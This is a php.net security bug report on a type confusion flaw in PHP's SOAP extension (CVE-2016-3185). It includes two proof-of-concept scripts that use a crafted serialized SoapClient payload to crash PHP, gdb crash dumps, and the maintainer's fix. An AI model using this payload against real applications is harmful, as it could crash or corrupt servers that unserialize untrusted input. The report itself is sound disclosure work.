php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #71610 Type Confusion Vulnerability - SOAP / make_http_soap_request()
Submitted: 2016-02-16 17:14 UTC Modified: 2016-03-17 04:49 UTC
From: manhluat at vnsecurity dot net Assigned: stas
Status: Closed Package: SOAP related
PHP Version: 7.0.3 OS: Linux
Private report: No CVE-ID: 2016-3185
 [2016-02-16 17:14 UTC] manhluat at vnsecurity dot net
Description:
------------
Due to an insufficient validation of the cookies field when making SOAP http request throug.

https://github.com/php/php-src/blob/master/ext/soap/php_http.c#L835

There is lack of validation of 2nd/3rd elements in cookies array.

and a type confusion occurs when they are no longer string.

PoC works on the stack/heap layout.


* Notice:
- It causes crash on PHP5 package latest version for Ubuntu as well.
- It should work on 32/64 bit platform.


Test script:
---------------
<?php

$exploit = 'O:10:"SoapClient":1:{s:8:"_cookies";a:1:{s:8:"manhluat";a:3:{i:0;s:0:"";i:1;N;i:2;N;}}}';
$z = unserialize($exploit);
$z->__doRequest('blahblah','http://localhost/','whatever',1337.0);

?>

Expected result:
----------------
root@ubuntu:/var/www/html/soap# /root/test/debug/php-7.0.3/sapi/cli/php -v
PHP 7.0.3 (cli) (built: Feb  7 2016 14:42:27) ( NTS )
Copyright (c) 1997-2016 The PHP Group
Zend Engine v3.0.0, Copyright (c) 1998-2016 Zend Technologies
root@ubuntu:/var/www/html/soap# /root/test/debug/php-7.0.3/sapi/cli/php ./2.php 
Segmentation fault (core dumped)
root@ubuntu:/var/www/html/soap# 


root@wargame:/tmp# php5 -v
PHP 5.5.9-1ubuntu4.14 (cli) (built: Oct 28 2015 01:34:46) 
Copyright (c) 1997-2014 The PHP Group
Zend Engine v2.5.0, Copyright (c) 1998-2014 Zend Technologies
    with Zend OPcache v7.0.3, Copyright (c) 1999-2014, by Zend Technologies
root@wargame:/tmp# php5 ./a.php
Segmentation fault
root@wargame:/tmp# 

Actual result:
--------------
gdb-peda$ r
Starting program: /root/test/debug/php-7.0.3/sapi/cli/php ./2.php

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x801ae74b46ba941f 
RBX: 0x0 
RCX: 0x7ffff3c55254 --> 0x0 
RDX: 0x20 (' ')
RSI: 0x1 
RDI: 0x7ffff3c55268 --> 0xc002000700000001 
RBP: 0x7fffffffa7b0 --> 0x7fffffffa840 --> 0x7fffffffaad0 --> 0x7fffffffab00 --> 0x7fffffffac60 --> 0x7fffffffad60 --> 0x7fffffffcfe0 --> 0x7fffffffe3d0 --> 0x7fffffffe530 --> 0x0 
RSP: 0x7fffffff8d30 --> 0x7ffff3c130e0 --> 0x0 
RIP: 0x74be3b (<make_http_soap_request+36148>:  mov    rdx,QWORD PTR [rax+0x10])
R8 : 0x7fffffff84c0 --> 0x4 
R9 : 0x7fffffff87f8 --> 0x0 
R10: 0x7fffffff84bc --> 0x400007fff 
R11: 0x7ffff5bca870 --> 0xfffda6c0fffda3ef 
R12: 0x436040 (<_start>:        xor    ebp,ebp)
R13: 0x7fffffffe610 --> 0x2 
R14: 0x7ffff3c13030 --> 0x7ffff3c84140 --> 0x9e4bc0 (<ZEND_DO_FCALL_SPEC_HANDLER>:      push   rbp)
R15: 0x7ffff3c84140 --> 0x9e4bc0 (<ZEND_DO_FCALL_SPEC_HANDLER>: push   rbp)
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x74be2f <make_http_soap_request+36136>:     je     0x74be84 <make_http_soap_request+36221>
   0x74be31 <make_http_soap_request+36138>:     mov    rax,QWORD PTR [rbp-0x1810]
   0x74be38 <make_http_soap_request+36145>:     mov    rax,QWORD PTR [rax]
=> 0x74be3b <make_http_soap_request+36148>:     mov    rdx,QWORD PTR [rax+0x10]
   0x74be3f <make_http_soap_request+36152>:     mov    rax,QWORD PTR [rbp-0x1810]
   0x74be46 <make_http_soap_request+36159>:     mov    rax,QWORD PTR [rax]
   0x74be49 <make_http_soap_request+36162>:     lea    rcx,[rax+0x18]
   0x74be4d <make_http_soap_request+36166>:     mov    rax,QWORD PTR [rbp-0x1908]
[------------------------------------stack-------------------------------------]
0000| 0x7fffffff8d30 --> 0x7ffff3c130e0 --> 0x0 
0008| 0x7fffffff8d38 --> 0x53900000000 
0016| 0x7fffffff8d40 --> 0x7ffff3c604c8 ("whatever")
0024| 0x7fffffff8d48 --> 0x7ffff3c61138 ("http://localhost/")
0032| 0x7fffffff8d50 --> 0x7ffff3c60488 --> 0x20600000000 
0040| 0x7fffffff8d58 --> 0x7ffff3c13110 --> 0x7ffff3c60438 --> 0x800000002 
0048| 0x7fffffff8d60 --> 0x10100000000 
0056| 0x7fffffff8d68 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x000000000074be3b in make_http_soap_request (this_ptr=0x7ffff3c13110, buf=0x7ffff3c60488, location=0x7ffff3c61138 "http://localhost/", soapaction=0x7ffff3c604c8 "whatever", soap_version=0x539, return_value=0x7ffff3c130e0)
    at /root/test/debug/php-7.0.3/ext/soap/php_http.c:836
836                                                            strncmp(phpurl->path?phpurl->path:"/",Z_STRVAL_P(tmp),Z_STRLEN_P(tmp)) == 0) &&
gdb-peda$ print tmp
$14 = (zval *) 0x7ffff3c5b900
gdb-peda$ print *(zval*)tmp
$15 = {
  value = {
    lval = 0x801ae74b46ba941f, 
    dval = -3.7413910991275156e-308, 
    counted = 0x801ae74b46ba941f, 
    str = 0x801ae74b46ba941f, 
    arr = 0x801ae74b46ba941f, 
    obj = 0x801ae74b46ba941f, 
    res = 0x801ae74b46ba941f, 
    ref = 0x801ae74b46ba941f, 
    ast = 0x801ae74b46ba941f, 
    zv = 0x801ae74b46ba941f, 
    ptr = 0x801ae74b46ba941f, 
    ce = 0x801ae74b46ba941f, 
    func = 0x801ae74b46ba941f, 
    ww = {
      w1 = 0x46ba941f, 
      w2 = 0x801ae74b
    }
  }, 
  u1 = {
    v = {
      type = 0x1, 
      type_flags = 0x0, 
      const_flags = 0x0, 
      reserved = 0x0
    }, 
    type_info = 0x1
  }, 
  u2 = {
    var_flags = 0xffffffff, 
    next = 0xffffffff, 
    cache_slot = 0xffffffff, 
    lineno = 0xffffffff, 
    num_args = 0xffffffff, 
    fe_pos = 0xffffffff, 
    fe_iter_idx = 0xffffffff
  }
}
gdb-peda$ x/10gx tmp
0x7ffff3c5b900: 0x801ae74b46ba941f      0xffffffff00000001
0x7ffff3c5b910: 0x0000000000000001      0x0000000000000000
0x7ffff3c5b920: 0x801ae74b46ba941f      0xffffffff00000001
0x7ffff3c5b930: 0x0000000000000002      0x0000000000000000
0x7ffff3c5b940: 0x0000000000000000      0x0000000000000000
gdb-peda$ 






---------------------------------------------------






gdb-peda$ r -v
Starting program: /usr/bin/php5 -v
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
PHP 5.5.9-1ubuntu4.14 (cli) (built: Oct 28 2015 01:34:46) 
Copyright (c) 1997-2014 The PHP Group
Zend Engine v2.5.0, Copyright (c) 1998-2014 Zend Technologies
    with Zend OPcache v7.0.3, Copyright (c) 1999-2014, by Zend Technologies
[Inferior 1 (process 68921) exited normally]
Warning: not running or target is remote
gdb-peda$ r ./2.php 
Starting program: /usr/bin/php5 ./2.php
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x7ffff7fc9ae8 --> 0x7ffff7fca348 --> 0x7f0070747468 
RBX: 0x0 
RCX: 0x7ffff7fc9930 --> 0x2 
RDX: 0x7fffffff8a70 --> 0x7ffff7fc9948 --> 0x7ffff7fc9900 --> 0x0 
RSI: 0x2 
RDI: 0x7ffff7fca6e8 --> 0x700000008 
RBP: 0x7fffffff89b0 --> 0x7ffff7fcb1b8 ("POST / HTTP/1.1\r\nHost: localhost\r\nConnection: Keep-Alive\r\nUser-Agent: PHP-SOAP/5.5.9-1ubuntu4.14\r\nContent-Type: text/xml; charset=utf-8\r\nSOAPAction: \"whatever\"\r\nContent-Length: 8\r\nCookie: ")
RSP: 0x7fffffff8890 --> 0x0 
RIP: 0x5b520b (<make_http_soap_request+17323>:  cmp    BYTE PTR [r12],0x2e)
R8 : 0x0 
R9 : 0x0 
R10: 0x7fffffff8650 --> 0x0 
R11: 0x7ffff6087460 (<__strncmp_ssse3>: test   rdx,rdx)
R12: 0x0 
R13: 0x7ffff7fc8990 --> 0x1 
R14: 0x7fffffff8a10 --> 0x7ffff7fca768 --> 0x7ffff7fca6b8 --> 0x7ffff7fca6e8 --> 0x700000008 
R15: 0x7fffffff8a30 --> 0x7ffff7fca798 ("manhluat")
EFLAGS: 0x10213 (CARRY parity ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x5b5200 <make_http_soap_request+17312>:     mov    rax,QWORD PTR [rax]
   0x5b5203 <make_http_soap_request+17315>:     mov    r12,QWORD PTR [rax]
   0x5b5206 <make_http_soap_request+17318>:     mov    rax,QWORD PTR [rsp+0x20]
=> 0x5b520b <make_http_soap_request+17323>:     cmp    BYTE PTR [r12],0x2e
   0x5b5210 <make_http_soap_request+17328>:     mov    rbx,QWORD PTR [rax+0x18]
   0x5b5214 <make_http_soap_request+17332>:     je     0x5b6629 <make_http_soap_request+22473>
   0x5b521a <make_http_soap_request+17338>:     mov    rsi,r12
   0x5b521d <make_http_soap_request+17341>:     mov    rdi,rbx
[------------------------------------stack-------------------------------------]
0000| 0x7fffffff8890 --> 0x0 
0008| 0x7fffffff8898 --> 0x0 
0016| 0x7fffffff88a0 --> 0x0 
0024| 0x7fffffff88a8 --> 0x7fffffff89d2 --> 0x116005500030001 
0032| 0x7fffffff88b0 --> 0x7ffff7fc9ae8 --> 0x7ffff7fca348 --> 0x7f0070747468 
0040| 0x7fffffff88b8 --> 0x7ffff7fc9c50 --> 0xe95f80 --> 0x4a5350 (<php_openssl_sockop_write>:  push   r14)
0048| 0x7fffffff88c0 --> 0x8 
0056| 0x7fffffff88c8 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
make_http_soap_request (this_ptr=this_ptr@entry=0x7ffff7fc8990, buf=<optimized out>, buf_size=<optimized out>, location=<optimized out>, soapaction=<optimized out>, soap_version=<optimized out>, 
    buffer=buffer@entry=0x7ffff7fc9710, buffer_len=buffer_len@entry=0x7ffff7fc9718) at /build/php5-pO28mL/php5-5.5.9+dfsg/ext/soap/php_http.c:836
836     /build/php5-pO28mL/php5-5.5.9+dfsg/ext/soap/php_http.c: No such file or directory.
gdb-peda$ 

Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-02-18 11:36 UTC] manhluat at vnsecurity dot net
BTW, PoC can be triggered via this one also

<?php

$exploit = unserialize('O:10:"SoapClient":3:{s:3:"uri";s:1:"a";s:8:"location";s:17:"http://localhost/";s:8:"_cookies";a:1:{s:8:"manhluat";a:3:{i:0;s:0:"";i:1;N;i:2;N;}}}}');
$exploit->blahblah();

?>

Segmentation fault
 [2016-02-22 07:48 UTC] stas@php.net
-Assigned To: +Assigned To: stas
 [2016-02-22 07:48 UTC] stas@php.net
Fix added to security repo as eaf4e77190d402ea014207e9a7d5da1a4f3727ba and in  https://gist.github.com/smalyshev/cb5199ebf608afc4f667. Please verify.
 [2016-02-22 08:22 UTC] manhluat at vnsecurity dot net
well, seems the problem is solved.
 [2016-03-02 07:12 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=07b6fc93b11b46926db6e7c02f90c84981a40c33
Log: Fix bug #71610: Type Confusion Vulnerability - SOAP / make_http_soap_request()
 [2016-03-02 07:12 UTC] stas@php.net
-Status: Assigned +Status: Closed
 [2016-03-02 07:12 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=eaf4e77190d402ea014207e9a7d5da1a4f3727ba
Log: Fix bug #71610: Type Confusion Vulnerability - SOAP / make_http_soap_request()
 [2016-03-17 04:49 UTC] stas@php.net
-CVE-ID: +CVE-ID: 2016-3185
 [2016-07-20 11:33 UTC] davey@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=07b6fc93b11b46926db6e7c02f90c84981a40c33
Log: Fix bug #71610: Type Confusion Vulnerability - SOAP / make_http_soap_request()
 [2016-07-20 11:33 UTC] davey@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=eaf4e77190d402ea014207e9a7d5da1a4f3727ba
Log: Fix bug #71610: Type Confusion Vulnerability - SOAP / make_http_soap_request()
 
PHP Copyright © 2001-2017 The PHP Group
All rights reserved.
Last updated: Sun Feb 19 11:01:37 2017 UTC